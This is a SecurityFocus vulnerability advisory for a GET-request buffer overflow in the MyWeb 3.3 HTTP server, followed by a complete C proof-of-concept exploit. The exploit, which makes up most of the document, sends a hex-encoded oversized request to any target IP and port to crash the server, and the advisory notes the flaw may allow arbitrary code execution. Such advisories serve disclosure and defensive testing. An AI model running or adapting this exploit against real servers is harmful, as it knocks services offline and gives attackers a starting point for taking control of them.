source: http://www.securityfocus.com/bid/10303/info

A vulnerability has been reported for MyWeb HTTP server. The problem occurs due to insufficient bounds checking when handling GET requests.

As a result, an attacker may be capable of corrupting sensitive data such as a return address, and thereby effectively control the execution flow of the program. This would ultimately allow for the execution of arbitrary code. Immediate consequences of exploitation of this issue may result in denial of service.

/****************************/
   PoC to crash the server
/****************************/

/* MyWeb 3.3 Buffer Overflow
   vendor:
   http://www.xuebrothers.net/myweb/myweb.htm
 
   coded and discovered by:
   badpack3t <badpack3t@security-protocols.com>
   for .:sp research labs:.
   www.security-protocols.com
   5.6.2004
  
   usage: 
   sp-myweb3.3 <targetip> [targetport] (default is 80)

   This PoC will only DoS the server to verify if it is vulnerable.
 */

#include <winsock2.h>
#include <stdio.h>

#pragma comment(lib, "ws2_32.lib")

char exploit[] = 

"\x47\x45\x54\x20\x2f\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x01\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x2e"
"\x68\x74\x6d\x6c\x20\x48\x54\x54\x50\x2f\x31\x2e\x31\x0d\x0a\x52"
"\x65\x66\x65\x72\x65\x72\x3a\x20\x68\x74\x74\x70\x3a\x2f\x2f\x6c"
"\x6f\x63\x61\x6c\x68\x6f\x73\x74\x2f\x66\x75\x78\x30\x72\x0d\x0a"
"\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x54\x79\x70\x65\x3a\x20\x61\x70"
"\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x78\x2d\x77\x77\x77\x2d"
"\x66\x6f\x72\x6d\x2d\x75\x72\x6c\x65\x6e\x63\x6f\x64\x65\x64\x0d"
"\x0a\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x3a\x20\x4b\x65\x65"
"\x70\x2d\x41\x6c\x69\x76\x65\x0d\x0a\x55\x73\x65\x72\x2d\x41\x67"
"\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x34\x2e\x37"
"\x36\x20\x5b\x65\x6e\x5d\x20\x28\x58\x31\x31\x3b\x20\x55\x3b\x20"
"\x4c\x69\x6e\x75\x78\x20\x32\x2e\x34\x2e\x32\x2d\x32\x20\x69\x36"
"\x38\x36\x29\x0d\x0a\x56\x61\x72\x69\x61\x62\x6c\x65\x3a\x20\x72"
"\x65\x73\x75\x6c\x74\x0d\x0a\x48\x6f\x73\x74\x3a\x20\x6c\x6f\x63"
"\x61\x6c\x68\x6f\x73\x74\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d"
"\x6c\x65\x6e\x67\x74\x68\x3a\x20\x35\x31\x33\x0d\x0a\x41\x63\x63"
"\x65\x70\x74\x3a\x20\x69\x6d\x61\x67\x65\x2f\x67\x69\x66\x2c\x20"
"\x69\x6d\x61\x67\x65\x2f\x78\x2d\x78\x62\x69\x74\x6d\x61\x70\x2c"
"\x20\x69\x6d\x61\x67\x65\x2f\x6a\x70\x65\x67\x2c\x20\x69\x6d\x61"
"\x67\x65\x2f\x70\x6a\x70\x65\x67\x2c\x20\x69\x6d\x61\x67\x65\x2f"
"\x70\x6e\x67\x0d\x0a\x41\x63\x63\x65\x70\x74\x2d\x45\x6e\x63\x6f"
"\x64\x69\x6e\x67\x3a\x20\x67\x7a\x69\x70\x0d\x0a\x41\x63\x63\x65"
"\x70\x74\x2d\x43\x68\x61\x72\x73\x65\x74\x3a\x20\x69\x73\x6f\x2d"
"\x38\x38\x35\x39\x2d\x31\x2c\x2a\x2c\x75\x74\x66\x2d\x38\x0d\x0a"
"\x0d\x0a\x77\x68\x61\x74\x79\x6f\x75\x74\x79\x70\x65\x64\x3d\x3f"
"\x0d\x0a";

int main(int argc, char *argv[])
{
	WSADATA wsaData;
	WORD wVersionRequested;
	struct hostent  *pTarget;
	struct sockaddr_in 	sock;
	char *target;
	int port,bufsize;
	SOCKET mysocket;
	
	if (argc < 2)
	{
		printf("MyWeb 3.3 Buffer Overflow by badpack3t\r\n 
<badpack3t@security-protocols.com>\r\n\r\n", argv[0]);
		printf("Usage:\r\n %s <targetip> [targetport] (default is 80)\r\n\r\n", 
argv[0]);
		printf("www.security-protocols.com\r\n\r\n", argv[0]);
		exit(1);
	}

	wVersionRequested = MAKEWORD(1, 1);
	if (WSAStartup(wVersionRequested, &wsaData) < 0) return -1;

	target = argv[1];
	port = 80;

	if (argc >= 3) port = atoi(argv[2]);
	bufsize = 1024;
	if (argc >= 4) bufsize = atoi(argv[3]);

	mysocket = socket(AF_INET, SOCK_STREAM, 0);
	if(mysocket==INVALID_SOCKET)
	{	
		printf("Socket error!\r\n");
		exit(1);
	}

	printf("Resolving Hostnames...\n");
	if ((pTarget = gethostbyname(target)) == NULL)
	{
		printf("Resolve of %s failed\n", argv[1]);
		exit(1);
	}

	memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length);
	sock.sin_family = AF_INET;
	sock.sin_port = htons((USHORT)port);

	printf("Connecting...\n");
	if ( (connect(mysocket, (struct sockaddr *)&sock, sizeof (sock) )))
	{
		printf("Couldn't connect to host.\n");
		exit(1);
	}

	printf("Connected!...\n");
	printf("Sending Payload...\n");
	if (send(mysocket, exploit, sizeof(exploit)-1, 0) == -1)
	{
		printf("Error Sending the Exploit Payload\r\n");
		closesocket(mysocket);
		exit(1);
	}

	printf("Payload has been sent! Check if the webserver is dead y0!\r\n");
	closesocket(mysocket);
	WSACleanup();
	return 0;
}